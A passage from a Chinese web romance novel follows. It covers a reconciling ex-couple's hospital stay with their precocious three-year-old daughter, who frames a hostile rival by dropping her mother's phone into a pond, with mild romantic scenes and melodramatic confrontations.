灼热的呼吸喷洒在面部,气氛变得黏稠,宋清殊不说话,只觉得呼吸都变得困难。
此时,盛熙川伸出双手,掐住她的腰。
她整个人凌空,被抱坐在了洗手台上。
“我就知道,你好这口儿,老婆。”盛熙川俯在她耳边说。
他嗓子哑透了,带着浓浓的诱惑。
宋清殊低喘了一口。
盛熙川捉她的手,放在自己的腹肌上。
他的身体还没有擦干,带着温热的水珠。
宋清殊的手被他带着,在皮肤的肌理上游走,所到之处一片湿滑。
那一刻,她像是被人夺舍了,眼底一片痴迷,连挣扎都忘了。
直到盛熙川托起她的下巴,覆上她的唇。
他的吻像一片羽毛,轻轻地落下来。
酥麻的触感,让宋清殊轻轻颤栗了一下。
“四年了,有没有想我?”盛熙川低声问,不等她回答,又道,“老婆,我真的好想你,每一分钟,每一秒,都在想你。”
小小的卫生间里空气都开始变得稀薄,氛围暧昧到了极致。
宋清殊低喘了一声,她没有回答盛熙川的话,脑子里一片混乱。
显然,盛熙川也没想等她的答案。
他一点点加深这个吻,用舌尖小心地撬开她的牙关,去跟她的舌纠缠。
无比温柔细致的吻,持续了很久,久到宋清殊透不过气。
她似乎被卫生间里的水汽托了起来,整个人都是悬浮的,像躺在一朵云里,四肢发软。
盛熙川终于肯放开她的唇,又去吮她的耳垂。
他的身子卡在她的腿间,腰上的浴巾已经在一番折腾下落到了地上。
盛熙川不去管它,一呼一吸间的热气侵袭着她的耳廓。
“可以吗宝贝?”他用气声问她。
宋清殊说不出拒绝的话。
干柴烈火,一触即燃。
宋清殊城门失守,早已溃不成军。
此时,病房的门被敲响。
“爸爸,妈妈,你们在里面吗?”
珍珠的声音,如一缕清风从门口吹进来,将原本旖旎粘稠得流转不动的空气突然激活。
暧昧的氛围被打散,宋清殊也如同被人泼了一盆冷水,瞬间醒透了。
她猛地伸直双腿,跳到地面上,因为重心不稳,落地时还扭了一下脚踝。
她慌乱地看了一眼镜子,撩一把冷水,往自己脸上洒了一下。
又伸手整理了一下有些凌乱的衬衫下摆,迅速看了盛熙川一眼,走了出去。
盛熙川立在镜子前,又扯了条浴巾,擦干身上的水。
刚才宋清殊那双手的触感似乎还停留在他的皮肤上,心里那点燥,挥之不去。
他听到外面宋清殊声音:“珍珠,你怎么来了?”
欣喜之余,还带了点……如释重负?
盛熙川第一次这么不想见自己的女儿。
宋清殊怕珍珠担心,一直没有跟她说盛熙川受伤的事。
今天是因为保姆要来送东西,被她听到,吵着跟了来。
宋清殊一开门,珍珠便担忧地四处看:“爸爸呢,妈妈,爸爸怎么样了?”
宋清殊说:“爸爸在洗澡,一会儿就出来。”
珍珠便不放心地往卫生间方向看。
“烫伤的人可以洗澡吗?”她不放心,又推宋清殊,“妈妈,你快去帮帮爸爸。”
宋清殊:“……”
她怎么觉得,珍珠格外偏心爸爸?
医院的隔音一般,盛熙川垂着眼,一边解开缠在胸口的保鲜膜,等身上的燥热散去,一边听着自己可爱的女儿满是关切的话语。
心里的爱意饱涨得似乎要溢出来。
此生最重要的两个女人都在身边,这样的日子,才是他梦寐以求的。
盛熙川穿好衣服走出去。
刚出卫生间的门,珍珠便冲过来抱他的腿:“爸爸,你怎么样啊?”
她一开口,就哭了出来。
盛熙川心疼得恨不能把命都给女儿,赶紧把小人儿抱起来擦眼泪。
“宝宝,爸爸没事。”他柔声说。
“那爸爸疼不疼?”珍珠抱着盛熙川脖子,依然忧心忡忡。
“珍珠亲亲爸爸,爸爸就不疼了。”盛熙川亲了亲珍珠的小脸。
于是,珍珠赶忙抱着盛熙川的脖子,“吧嗒”亲了一口。
盛熙川大笑,心软得一塌糊涂。
这个姿势,珍珠肉嘟嘟的小身子正好压在他的伤口上,可他连眉头都没有皱一下。
还是宋清殊及时发现不对劲。
“宝宝,爸爸胸口有伤,不能让爸爸这样抱。”她忙说。
珍珠一听,好容易缓和的脸色又开始焦虑,赶忙挣扎着要下去。
“爸爸,你怎么不早说。”她哼哼唧唧地埋怨盛熙川。
盛熙川慢慢把珍珠放在床上,眉目柔和得不像话。
“不碍事,我宝宝这么瘦,压不痛的。”他安慰她。
珍珠三岁,上个月体检超重,有17公斤,盛熙川分明睁眼说瞎话。
还真是父爱让人盲目。
她高冷的前夫和智商远超同龄人的女儿,在彼此面前好像都变了个人。
宋清殊在一旁看着父女两个腻歪,又是好一阵恍神。
也许她真的做错了,让珍珠三岁才终于能见到自己的父亲。
后来又待了一会儿,保姆要走。
珍珠不肯。
“我也要留下照顾爸爸!”她说。
第225章 我要和爸爸妈妈一起睡
珍珠小朋友鲜少提要求,但她一旦决定的事真的很难更改。
这一点,陆夫人和楼珏都说她随宋清殊。
但宋清殊不这么认为。
她觉得自己性子挺柔软,珍珠这样有主意,不撞南墙不回头,多半是像盛熙川。
一听珍珠要留下,盛熙川第一个不愿意。
医院再好也不如家里环境好是一方面,另一方面,他想完成刚才在卫生间未竞的事业。
宋清殊则是因为太了解自己女儿。
珍珠要留下,绝对有她的意图,宋清殊觉得,她一定会说很多劝她和盛熙川复合的话。
那天珍珠大哭着要爸爸妈妈在一起,宋清殊选择了冷处理,没有理她。
后来,她也没有说过这话了。
但宋清殊知道,她没有死心,也绝不会死心。
盛熙川说:“爸爸没事,过几天也就出院了。你要是不放心,明天再来看爸爸好不好?”
宋清殊说:“这里什么都没有,你吃饭睡觉都很不方便,没必要留下。”
可珍珠只当他们的劝说是耳旁风,坚持要留下。
盛熙川和宋清殊两个大人硬是没拗过珍珠小朋友,她顺利留了下来。
于是,两人一个打电话,让厨子单做了一份儿童餐,一个让保姆回去,替珍珠拿了洗漱用品和小被子来。
珍珠在医院新奇地四处看,为没吃过的新鲜苦头感到兴奋,适应得很快。
不仅如此,因为觉得新奇,晚饭都比平时吃的多。
她聪明却不失小孩子的童稚,这一点盛熙川很满意。
到了晚上,珍珠洗完澡,遇到了问题。
宋清殊的折叠床长170CM,宽50CM,睡一个人都不好翻身,再加上珍珠显然不便。
于是,两人决定让珍珠跟盛熙川睡。
这原本没什么,珍珠原本睡觉也不一定非要找妈妈,很多时候都是一个人睡的。
可这次,偏要辗转反侧,在黑暗里滚来滚去。
“怎么了,宝贝,认床吗?”盛熙川问她。
珍珠的声音在黑暗里底气不足:“我想跟妈妈睡。”
这个要求明显是强人所难。
宋清殊便跟她商量:“今晚先跟爸爸将就一下,妈妈的床睡不下两个人,等明天妈妈让保姆阿姨换个大床过来好不好?”
珍珠没有说好,也没有说不好。
继续在黑夜里翻身,一双大眼睛瞪得很圆。
在她数不清第几次翻身后,宋清殊起身,按开了病房的灯。
“走,妈妈送你回家去。”她走到病床边,伸手要把珍珠抱起来,“你这样,爸爸也睡不好。”
盛熙川原本不在意睡得好不好,想说没关系,又觉得在宋清殊教育孩子时,自己不好干涉插嘴,便什么都没说。
珍珠不肯起来,哼哼唧唧要哭。
“你到底要干什么?”宋清殊被折腾得有点无语,皱起眉来。
珍珠看看眉头紧皱的宋清殊,又看看和颜悦色看她的盛熙川,瘪了瘪嘴,小声道:“我想睡在爸爸妈妈中间。”
真是爸爸的好女儿!
盛熙川顿时精神一震,强压下扬起的唇角。
宋清殊一时间做不出合适表情,她脸上的肌肉不自然地抖了一下。
“我和你爸爸离婚了,不方便。”她说。
又看珍珠:“乖乖睡觉和现在回家二选一。”
珍珠犯了倔脾气,坐起身来,跟宋清殊杠上了。
“我就要睡在爸爸妈妈中间,从小我做梦都想和爸爸妈妈一起睡。”她说着,声音里带了哭腔。
这事不能妥协,宋清殊心一横关了灯。
在黑夜中,宋清殊独自生着闷气,她突然发现珍珠从知道盛熙川存在的那一天起,就已经不跟她同一条线了。
自己一手养大的女儿,嘴上说着选妈妈,心却在时时刻刻为爸爸投着票。
宋清殊也不知自己心里是什么滋味。
她从不觉得自己对珍珠有养育之恩,只觉得对她好是天经地义,可在这样的时刻还是有点难受。
宋清殊自己都没想清楚的一点是,她越反感女儿这种和盛熙川统一战线的态度,越说明了自己内心的摇摆。
如果她够坚定,且对盛熙川再无一点感情,又哪里会在意别人怎么说。
她现在生气,气得无非是,在自己迷茫的时候,希望女儿能坚定的让她觉得自己没有选错,而不是站在对立面,让她孤立无援。
黑暗里,宋清殊生了半夜的闷气。
珍珠也不例外,她趴在被子上小声抽泣。
盛熙川离得近,早就听到了,作为既得利益者,他不好贸然哄。
先拿出手机,给宋清殊发微信:【珍珠哭了,要不今天先过来将就一晚,明天把她送回去就好了】
宋清殊没回复。
谁知,珍珠抽抽嗒嗒,哭起来就停不下的架势。
宋清殊听得烦躁,又心疼,只得又开了灯。
“你睡不睡?”她语气带了些严厉。
“妈妈,我从小做梦都想睡在爸爸妈妈中间,我的朋友都既有爸爸又有妈妈。只有我没有爸爸。”珍珠红着一双眼睛看她,毫不妥协。
宋清殊气得胸口起伏不定好一阵。
她拼命告诉自己,珍珠外成熟也只是个三岁小朋友,她不该用大人的标准要求她站队。才没说出让自己后悔的话来。
“好,今天一起睡。明天你早上就回家去。”宋清殊咬牙。
她抱起枕头,睡到了盛熙川的病床上。
盛熙川在左边,珍珠睡中间,宋清殊睡最右。
她躺过去,关灯。
珍珠马上止了哭。
看得出,珍珠很兴奋。
她睡在中间,一手拉着爸爸,一手拉着妈妈,突然说:“感觉像做梦一样,真的好开心啊。”
接着,又“哇”地一声大哭起来。
“怎么了宝宝,怎么又哭了?”这下,盛熙川坐不住了,赶紧抱起来哄。
珍珠不说,也说不明白,她只是哭。
多日来的委屈,忐忑,对父母复合的期待,混杂在一起,她的情绪非常压抑,如今才找到突破口。
宋清殊大概能明白珍珠是什么心境,珍珠一哭,她就迷茫,又开始陷入自我怀疑里。
她终于明白,为什么有的母亲会被孩子在婚姻里拴一辈子了。
珍珠哭到半夜,终于哭累了,在盛熙川怀里沉沉睡去。
但盛熙川和宋清殊都失眠了。
“等你出院后,我们再商量一下珍珠的陪伴问题吧。”宋清殊轻声说。
盛熙川回了一声“好”。
两人都没睡,也没怎么说话。
宋清殊一直闭着眼,脑子里思绪百转。
等她再睁眼时,发现盛熙川不知什么时候旋开了床头灯。
珍珠已经熟睡。
她微微转头,便看到了盛熙川幽深的眼睛。
第226章 季卿探病
盛熙川不知这样盯了她多久。
宋清殊被他看得有些无所适从。
那双眼睛像一汪深潭,默默吞噬着她的一切。
那双眼睛里的情绪她看不懂,也不想去猜,于是,试图别开眼去。
“昨天没完成的事,要不要继续?”他开口,声音低哑。
宋清殊反应了一会儿,才知道他在说什么。
继续个头!她昨天分明是神志不清鬼迷心窍。
宋清殊白他一眼,试图往床边挪。
盛熙川却眼疾手快,伸出手臂将她一捞,接着,捧着脸,封住了她的唇。
此刻的珍珠像一只小动物,缩成腰果状,在两人中间的位置酣睡。她毛茸茸的脑袋,在两人的胸口部位。
两人隔着珍珠接吻,一个攻城略地,步步为营,一个咬紧牙关,不让对方得逞。
一切在安静中进行,所有动作幅度都很小,不管是盛熙川的主动还是宋清殊的抗拒。
谁也不敢吵醒珍珠。
盛熙川终是撬开了宋清殊的唇。
他牢牢托住她的下颌,不让她有半点逃脱机会。
他的吻温存中带着凶猛,扫荡着她口腔的每个角落,仿佛要将她的人和心一起侵吞。
可他的动作又是温柔的,指腹压着她的耳垂,温柔碾磨,安抚。
以至于后来宋清殊的心“咚咚”作响,连挣扎都忘记了。
这个吻,结束于珍珠的一个翻身。
两人同时僵住,之后,缓慢分开。
“晚安,宝贝。”盛熙川低声道。
宋清殊闭上眼,没有理他。
第二天早上,两人早早起床,珍珠睡到了9点多,自然醒。
“跟爸爸妈妈一起睡,好幸福啊。”醒来后,珍珠慢悠悠坐起身,顶着炸毛的脑袋嘟哝。
盛熙川捏捏她的脸,想告诉她这样的机会有的是,又怕宋清殊应激,硬生生忍了。
宋清殊沉默着替她穿鞋,准备带她去卫生间洗脸。
珍珠又语出惊人:“爸爸妈妈,我还梦到了你们晚上背着我亲嘴!”
宋清殊:“……”
她现在脑子嗡嗡作响,只想把这父女二人打包送走。
珍珠只在医院住了一天,之后,便被宋清殊要求回家睡了。
但她依然每天吵着要看盛熙川,之后的三天,每天早上雷打不动地出现在医院里,到了晚上才回去。
一家三口像是在医院过起了日子,除了宋清殊,那父女二人都恨不得这样的时光更长一点。
与此同时,这段时间,季卿在因为网上的恶评闹脾气,把家里的佣人打骂了个遍。
特别是那位司机,那天被季卿打破了头,伤口还没有完全恢复,又因为季卿气不顺被打了一顿,直接住了院。
欺负底层人,季卿向来有恃无恐。
被她打一顿,见点血,之后能得到那么多钱,一辈子吃喝不愁,他们能有什么怨言呢?
这些人,在季卿眼里命如蝼蚁,她从来都不担心被反噬。
季卿再次出现在盛熙川面前,是他住院的最后一天。
她到的比较早,进门时,盛熙川正在给珍珠扎头发。
珍珠手里捧着个平板播放教程,盛熙川一步一停顿,学得认认真真。
宋清殊则在一旁的沙发上看着二人,唇边带了抹笑意。
一家三口,其乐融融。
谁能看出盛熙川和宋清殊离过婚了?
一个人,空放着也就那么回事儿,盛熙川离婚四年,季家跃跃欲试,失败了,也没有觉得怎么样。
可现在,宋清殊强势回归,又给了季卿那样的难堪,盛熙川突然就变成了非得不可的人。
季卿不惜赌上名誉,不择手段,也便要和宋清殊争一争,抢一抢。
而且,她势在必得。
季卿进门,看一家三口看她,强忍了尴尬,道:“这阵子比较忙,才听说熙川哥哥受伤的事,现在都好了吧?”
对于她精心设计的撞衫事件,季卿倒是黑不提白不提,好像什么都没发生过一样。
她不提,宋清殊也不提,只抬头看她一眼,便又别过眼去。
那一眼,带了点轻蔑的笑意。
季卿窝火。
她只是没看好时机,又仓促,才出了漏洞。
宋清殊有什么好得意的?
她一个政要的孙女,还斗不过她一个陆家养女不成?
季卿在心里给自己鼓劲。
听盛熙川淡淡道:“好多了,劳烦挂心。”
他礼貌又客气,可季卿做贼心虚,总觉得盛熙川比以往冷淡了。
她不知道盛熙川受伤的原因,却知道这几天一直都是宋清殊在照顾。
难保宋清殊不花言巧语迷惑他,说不定还说了自己很多坏话。
她有点着急,便又说了好多关心的话,还拿了好多补品给盛熙川。
“前阵子太忙,也不知道情况,现在知道了,以后我来照顾你。”她说。
盛熙川还未开口,一旁的珍珠突然说:“季卿阿姨,你身上的裙子好漂亮。”
季卿一听,眼睛顿时亮了一下。
盛熙川那么喜欢他女儿,他女儿都在夸自己漂亮,那他也会在心里给自己加分吧。
季卿暗想,之后反夸珍珠:“谢谢宝宝,你也很漂亮。”
此时,盛熙川已经给珍珠编好了两根松松散散的麻花辫,看上去很俏皮。
珍珠从他腿上下来,拉季卿的手:“阿姨,医院后面的花园里有迎春花,特别漂亮,你陪我去拍个照好不好?”
第227章 珍珠出手(一)
多么奇怪的要求,她的妈妈就在这里,却要她一个外人陪她去看花。
季卿看着眼前长得粉团子似的珍珠,心里一阵反感。
这小孩跟她妈妈一样会伪装。
如果说宋清殊长了一副盛世白莲花的外表,那眼前这个小女孩,就是一株多肉,母女两人都看上去漂亮且无害,非常有迷惑性。
季卿当然不想去看劳什子迎春花,想开口拒绝,又不知说什么才最合适,张了张嘴,正在组织语言,只听宋清殊道:“宝宝,妈妈陪你去。”
珍珠拒绝得干脆利落:“不要,我天天都有妈妈陪,却并不是总能见到季卿阿姨,我要季卿阿姨跟我去。”
她说着,对宋清殊伸手:“妈妈,手机借我。”
宋清殊不明白珍珠葫芦里卖什么药,一边把手机给她,一边还想再争取一下。
珍珠却抢先说:“季卿阿姨,你不会不愿意陪我,只想跟我爸爸在一起吧?”
这话问得妙,简直不像出自一个三岁孩子之口。
以至于宋清殊下意识看了盛熙川一眼。
珍珠的行为在宋清殊看来很不合适,非常不符合她对孩子的教育理念。
她始终觉得大人间的恩怨不该影响到孩子对人的态度,不管她跟季卿有什么瓜葛,珍珠这样说话都很没有礼貌。
她有点尴尬。
谁知盛熙川看向珍珠的神情欣慰又骄傲,很以自己女儿的伶牙俐齿为荣。
宋清殊对他这种惯孩子的做法很不赞同。
只得干咳一声,自己打圆场:“季小姐,珍珠还小,童言无忌,你别往心里去。”
此时,季卿被一个三岁小孩怼脸质问,非常下不来台,脸色难看极了。
更是越看珍珠越觉得厌恶。
这个小孩虽然看上去比普通小孩聪明一些,但毕竟只有三岁,怎么能说出这种话?
一定是宋清殊教的。
宋清殊这种女人,假清高,表面上不想跟盛熙川复婚,实则不定多想回到他身边去呢。
想到这里,季卿在心里恨得直咬牙。
面上却笑道:“没关系,珍珠真是可爱又聪明,连阿姨喜欢你爸爸都看出来了。”
季卿笑,珍珠也笑:“那阿姨就陪我10分钟好不好?”
她做出一副天真无邪的表情,好像前面那些话完全没有恶意。
宋清殊的心却提了起来。
她了解自己的女儿。
珍珠在多数时候是个心胸宽广的孩子,她长得甜美智商又高,很少遭受恶意,哪怕偶尔被冒犯,她也基本上能忍就忍,不会跟人一般见识。
但她绝不是个软柿子,很有些杀伐决断的手段。
宋清殊清楚记得,珍珠两岁左右的时候,她在花都的邻居,一个年逾70的老太太,一直八卦她的私事。
几次见她独自带珍珠出门,都旁敲侧击问怎么没见过孩子爸爸。
宋清殊起初含糊其词,被问多了,不得已便说自己离婚了。
谁知,老太太马上用手指拨弄珍珠小脸逗她:“你爸爸不要你咯。”
珍珠眨巴着一双大眼睛,不哭也不说话,都以为她没听懂。
谁知,在老太太笑得正欢时,扑上去咬了她胳膊一口,那一口非常重,直接给老太太干瘦的胳膊咬出了血来。
宋清殊总怀疑珍珠这点混不吝的劲儿遗传自盛熙川。
后来跟陆夫人说起来,陆夫人直言跟她小时候一模一样。
陆夫人说,别人跟宋清殊说她爸妈不要她了,她也是这样,毫不客气地咬了别人一口。
当然,这段记忆宋清殊是完全缺失的,并不怎么相信。
但也通过这件事,宋清殊知道珍珠不是善茬,她约季卿出去,憋着劲儿使坏呢。
“季卿阿姨还有事,妈妈陪你出去。”
宋清殊不想节外生枝,更不希望大人的恩怨影响到孩子,当机立断,拉了珍珠的手就要出去。
珍珠耍赖,撇嘴要哭。
“我喜欢季卿阿姨,就要跟季卿阿姨出去嘛……”她真的眼泪汪汪了。
宋清殊看着这个小戏精,头都大了。
而季卿只当珍珠这个举动是为了把她支出去,不让她跟盛熙川过多接触——
只是这样,在季卿眼里已经是心机深重了。
她也看盛熙川。
盛熙川只是不说话,静静的看着珍珠胡闹。他眼神满是宠溺,恨不能把天上的星星都摘下来给珍珠才好。
季卿看清了形势,心说反正珍珠一个小孩子对她也造成什么威胁,心一横,便说:“乖,珍珠不哭,阿姨带你去看迎春花就是了。”
珍珠果然破涕为笑了,她又主动去牵季卿的手。
季卿面上笑着,心里恨不得把珍珠那只肉乎乎的小手捏碎。
这孩子,跟她妈妈一样会装,季卿恨恨地想。
如今已是三月底,住院部后面的小花园里,的确开了一些迎春花。
一片片金黄的花瓣,在纤长的枝条上摇曳,垂到一旁的水池里,还算赏心悦目。
可季卿根本没有看花的心情,烦躁得厉害。
出了病房门,她装都不装了,脸上的笑容尽数消失。
反倒是珍珠,情绪比她稳定得多,一直甜甜地笑着,丝毫让人看不出破绽。
以至于季卿又在心里疑惑是不是自己想多了。
毕竟眼前的小女孩只有三岁,能把话说这么利索,已经很厉害了,总不至于还能想出什么坏主意。
珍珠拿着宋清殊的手机,认认真真给花拍照,还蹲在花前自拍了一张。
之后,在水池边上坐下来。
“季卿阿姨,聊聊吧。”她说。
季卿刚放下的一颗心又迅速提起来。
“聊什么?”
“你对我妈妈做的那些事我都知道了,如果你愿意从此以后在我们一家三口面前消失,我可以不追究。”珍珠说。
“哈?”季卿简直头皮发麻。
这话就算是大人教的,一个三岁的孩子也学不明白吧?
珍珠的一举一动,实在是太诡异。无法让人只拿她当个孩子,不予计较。
反正季卿做不到。
季卿骄纵惯了,在病房里被珍珠那样怼脸奚落已经窝了一肚子火,根本不想让着她。
“你知道什么?说来听听。”她要笑不笑地问道。
第228章 珍珠出手(二)
珍珠静静地凝视着季卿的眼睛,缓缓开口:
“当年你公开我妈妈的日记,侵犯我妈妈的隐私权,害她被校园霸凌。
现在你又想用不正当的手段抢走我爸爸。”
她声音稚嫩,说出的话却有条有理。
季卿难掩诧异之色,挑了挑眉。
她还未开口,珍珠又说:
“但你的手段有点low,跟工作人员撞衫算什么污点呢?别说我妈妈一定不会输,就算输了,又能怎么样呢?
外表只是我妈妈所有优点里最微不足道的东西,我妈妈并没有那样放在心上。
你觉得这么做能伤害到我妈妈,只能说明你最在乎这些。”
季卿听得火大。
且不说一个三岁的孩子说出这样的话已经是离谱,单是珍珠的眼神,季卿就想打她。
珍珠盯着人看的样子,跟宋清殊尤其像——
那种似乎看透一切的清冷神情,让被凝视者忍不住自查自省,怕自己的言行犯蠢。
当年十几岁的宋清殊也是这样。
她不爱说话,在别人说话时也喜欢这样静静的看着。
十几岁正是爱说话爱表现的年纪,大多数女孩都叽叽喳喳,表达欲惊人。
宋清殊这样,就平添一份神秘感,引得不少男孩子的关注。
这也是为什么季昭昭和季卿姐妹当年那样讨厌她的原因之一。
十几岁的小孩子,都在渴望被关注的阶段,宋清殊拿腔作势,得到的关注也更多。
那时季卿姐妹一方面要接近她,从而被更多异性看到,一方面又时不时地想办法打压她。
但其实十几岁的宋清殊在这方面实在没怎么开窍,也并不怎么聪明,反正季卿一直觉得她不过如此。
她要真跟看上去那样聪明,也不至于被流放到国外那么多年。
按照季卿自己的逻辑来看,宋清殊是她的手下败将。
手下败将的女儿,还这样小,有什么值得忌惮的!
“你说的没错,那些事就是我做的。”季卿俯身看着坐在水池边的珍珠,突然笑了。
她承认的够爽快,让珍珠也愣了一下。
“但你知道,我为什么敢公开你妈妈的日记吗?”
这是珍珠没想过的问题。
“为什么?”
“因为就算公开了,所有人都知道是我做的,也不会怎么样。”
季卿的笑脸在珍珠面前无限放大:“我从来都没有隐瞒过这件事,但没有一个人因为这件事找我麻烦,因为不管是陆家还是宋家,都知道,即使把这笔账算到我头上,我也不会怎么样。他们反而还得罪了我爷爷。”
珍珠抿唇:“可你做错了,就是做错了,这件事不会因为没有人责怪你而改变,你该遭受的良心谴责也并不会变少。”
“所以呢?”季卿的笑容越发肆无忌惮,“我的生活并没有因为这件事变差,还把一个我讨厌的人提前赶走了,不是很好吗?”
“要怪,就怪你妈妈太普通,这个世界上普通人是有原罪的。”季卿凑到珍珠耳边说。
这世界也太魔幻了,她居然和一个三岁的孩子聊这么高深的话题,还知道对方能听懂。
“当然,你不一样。毕竟你是盛熙川的女儿,是盛司令的孙女,已经赢在起跑线上了。”
季卿的笑脸很是阴冷,但珍珠不怕。
“我对特权不感兴趣。”珍珠说,看季卿的眼神更冷,“所以,你并无悔改之心,还想继续插足我父母,是不是?”
“这话太难听了,什么叫插足?你父母早在四年前就离婚了。别无理取闹了,乖。”
季卿伸手拍了拍珍珠的肩。
“看完花了吧?我们回去。”
孩子到底是孩子,再怎么聪明成熟还是幼稚,季卿一句话都懒得跟珍珠多说,她起身要走。
谁知,珍珠突然抱住了季卿的大腿。
“阿姨,你不要这样,求求你!”珍珠突然大喊,“那是我妈妈的手机!”
季卿这才发现,宋清殊的手机不知什么时候已经进了池塘里。
好一出栽赃构陷,这是年少时的她玩剩下的!
季卿从脚底升起一股寒意。
她公开宋清殊日记的时候是12岁,那时都有人在为她找借口。
“一个12几岁的孩子懂什么呢?”
眼前的珍珠可是只有三岁!
她如果跟人说自己被一个三岁的小女孩陷害,谁会信呢?
季卿看珍珠的眼神,仿佛看到了魔童再世。
“你……谁教你这么做的?一定是宋清殊要你陷害我!”
她揪起珍珠的衣领,恶狠狠道。
此时,林远洲和孟令贤夫妇正从不远处过来。
他们来看盛熙川,林远洲拎了个巨型果篮,孟令贤抱着一大束花。
看到眼前的一幕,两人赶忙冲了过来。
“珍珠,季小姐,怎么了这是?”
孟令贤眼疾手快,先从季卿手下把珍珠解救出来,护在自己怀里。
珍珠在盛熙川的饭局上见过两人一面。
马上哭道:“林叔叔,孟阿姨,季卿阿姨嫌我一直在外面拍花,不肯回去,一生气,把妈妈的手机扔水里了!”
听珍珠这样说,季卿的脸黑的不像样子,气得整个人都在发抖。
“胡说八道!是不是宋清殊教你这么做的!你才三岁,就这么坏,以后长大了还不杀人放火?!
宋清殊把孩子教成这样,还有脸回来!还想盛熙川复婚?做梦去吧!”
林远洲和孟令贤夫妇这才发现水池里的手机。
“老公,你找人捞一下。”孟令贤说。
林远洲看了凶神恶煞的季卿一眼,神情也很不满,但他没说什么,匆忙去了。
接着,孟令贤把怀里的珍珠抱紧了一些,冷声道:“季小姐,你不该对一个孩子说这样恶毒的话!且不说珍珠只有三岁,不可能说谎。
就算她看错了,手机是她自己不小心落下去,不是你扔的,也不存在她要陷害你。
你不该对一个孩子这么大的恶意!”
孟令贤和盛熙川是好友,见不得他女儿被欺负,说话也没留情面。
季卿一肚子委屈,从来都是她诬陷别人,被人用这么拙劣的手段诬陷,还是头一次。
如果珍珠不是盛熙川的女儿,她一定要把她揍一顿。
听孟令贤这样说,更加破防。
“你算哪根葱也来教育我?”她直接把矛头指向了孟令贤,指着鼻子道,“是她故意把手机扔池塘里,诬蔑我,我难道不该说她?”
孟令贤完完全全站在珍珠这边,根本听不进去季卿说什么。
她据理力争:“季小姐,且不说珍珠只有三岁,根本不会害人,就算她会,熙川又不在这里,她做给谁看的呢?我看你就是被害妄想症!”
第229章 孟令贤护崽崽
孟令贤对季卿毫不畏惧,她个子高气势又足,更是给了珍珠满满的安全感。
珍珠窝在孟令贤怀里偷偷看季卿,还趁机做了个大大的鬼脸。
季卿气极,什么都顾不上了。
她向前一步,猛地去扯孟令贤怀里的珍珠。
珍珠原本都止了哭,此时又“哇”的一声,嚎啕了起来。
雷声大雨点小,眼泪都没有几滴,却把孟令贤心疼坏了。
孟令贤和林远洲有个儿子,比珍珠大不了几岁,珍珠一哭,她便被激发出了无穷的母性出来。
“季卿,你别太过分!”孟令贤说着,猛推了季卿一把。
此时,林远洲已经叫来了工作人员,拿了工具,来捞池塘内的手机。
一见孟令贤跟季卿剑拔**张的模样,赶忙站在了老婆身边。
“季小姐,我知道你对熙川有心思,可你越这样对他的女儿,他会越讨厌你!”林远洲生怕老婆受委屈,更是语气不善。
季卿委屈到了极点,当场发疯。
“你们知道个屁!我说了,是她陷害我!她跟她妈妈一样,一肚子坏水,不是好东西!”季卿指着珍珠,大喊大叫。
珍珠不辩解,只是软软地趴在孟令贤怀里哭。
“你闭嘴!对一个三岁的孩子耀武扬威算什么本事?”见季卿不依不饶,孟令贤也提高了嗓门,“季卿,你要再敢多说一个字,我现在就打你!”
季卿一听,先推搡了孟令贤一把:“你算什么东西,还敢打我?”
孟令贤把珍珠塞给林远洲,接着,揪住季卿袖子,手起掌落,重重的一个耳光扇了过去。
这一巴掌又脆又响,季卿不敢置信的捂住脸。
季卿从小要风得风,要雨得雨,从来只有她欺负别人的份儿,没有受过这样的气。
她快气疯了。
想说狠话,还没开口,此时,盛熙川和宋清殊也赶了过来。
“你们可算来了。”孟令贤说,一双眼睛却依然对季卿怒目而视,“再不来,孩子被人打了都不知道。”
宋清殊把珍珠从林远洲怀里接过,对林远洲孟令贤夫妇道谢。
“怎么回事?”盛熙川问。
他脸色很差,一张嘴更是咄咄逼人。
季卿的委屈又多了一层。
其实,盛熙川和宋清殊在病房里没多会儿就跟了出来。
他们在不远处看到珍珠一声大哭,还没动,就看到了孟令贤夫妇。
在事情越演越烈,孟令贤吃亏前,两人才冲上来。
“是她!她自己把手机扔进池塘,污蔑我!我说好好的怎么要我带她出来看花呢?就是为了陷害我,天生的坏种!”
季卿的手越过盛熙川,依然要去抓宋清殊怀里的珍珠。
“一定是宋清殊教的,就是为了陷害我!”
季卿简直失去理智,大喊大叫,不成样子。
相比之下,珍珠一个三岁的孩子比她冷静太多。
珍珠只是哭了几声,之后便可怜巴巴地看着盛熙川:“刚才季卿阿姨要打我,是孟阿姨保护了我。”
盛熙川揉揉她的发顶:“乖,爸爸都看见了。”
季卿还在歇斯底里:“她只是年纪小,心机重着呢,熙川哥哥你不要被她骗了!”
盛熙川眉头皱得更紧。
“季卿,珍珠是我女儿,我不许任何人这么说她。”
他音质很冷,对珍珠是十足的维护。
“熙川哥哥,你居然完全不相信我!”季卿脸上的表情精彩极了,从愤怒到震惊,再到不敢置信。
这事明眼人都看得出来,盛熙川无条件挺珍珠,季卿说什么都没用。
可季卿也不知哪来的底气,竟然觉得盛熙川会站在她这一边,实在拎不清。
她越闹,越可笑,仿佛要长出个小丑的红鼻子来。
孟令贤在一旁,把自己听到的一五一十说了。
季卿继续歇斯底里:“就是她故意陷害冤枉我!那个手机是她自己扔到水里的!”
她又要去抓珍珠:“你说实话,珍珠,是不是宋清殊教你的?”
珍珠:“不是,我一直拍花,季卿阿姨不耐烦了,夺过来丢进池塘的。”
宋清殊下意识看了盛熙川一眼。
她知道珍珠在撒谎,他们两人都没看见季卿夺手机和丢手机的动作。
见盛熙川没什么反应,起码不像要拆台的样子,才抱着珍珠退后半步,神态很冷
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:“季卿,有什么事跟我说,别为难孩子。”
孟令贤补刀:“就是,再说扔手机也不是大事,你敢做不敢当,挺没意思的。”
没有任何人相信季卿,孟令贤林远洲夫妇更是出面作证,季卿刚才要打珍珠。
四个大人,一个孩子,对季卿声色俱厉,虎视眈眈。
季卿从小到大都没有这么委屈过。
她歇斯底里,恨不能拿把刀,把这一圈人都捅死。
围观的人越来越多,季卿不得不冷冷丢下一句:“这件事不会这么算了,我现在就去调监控!”
之后,拨开众人,气呼呼走了。
其余几人又回到病房。
因为刚才孟令贤的拔刀相助,珍珠简直爱上了这个漂亮阿姨,一直往她身边凑,后来直接坐到了孟令贤怀里。
“贤姐,多谢。”宋清殊跟孟令贤道谢。
她想提醒孟令贤夫妇多留心。
按照季卿的性子,被珍珠来这一出,势必报复。
转念想,孟令贤这样通透伶俐,一定能想到她前面,话到嘴边便又咽下。
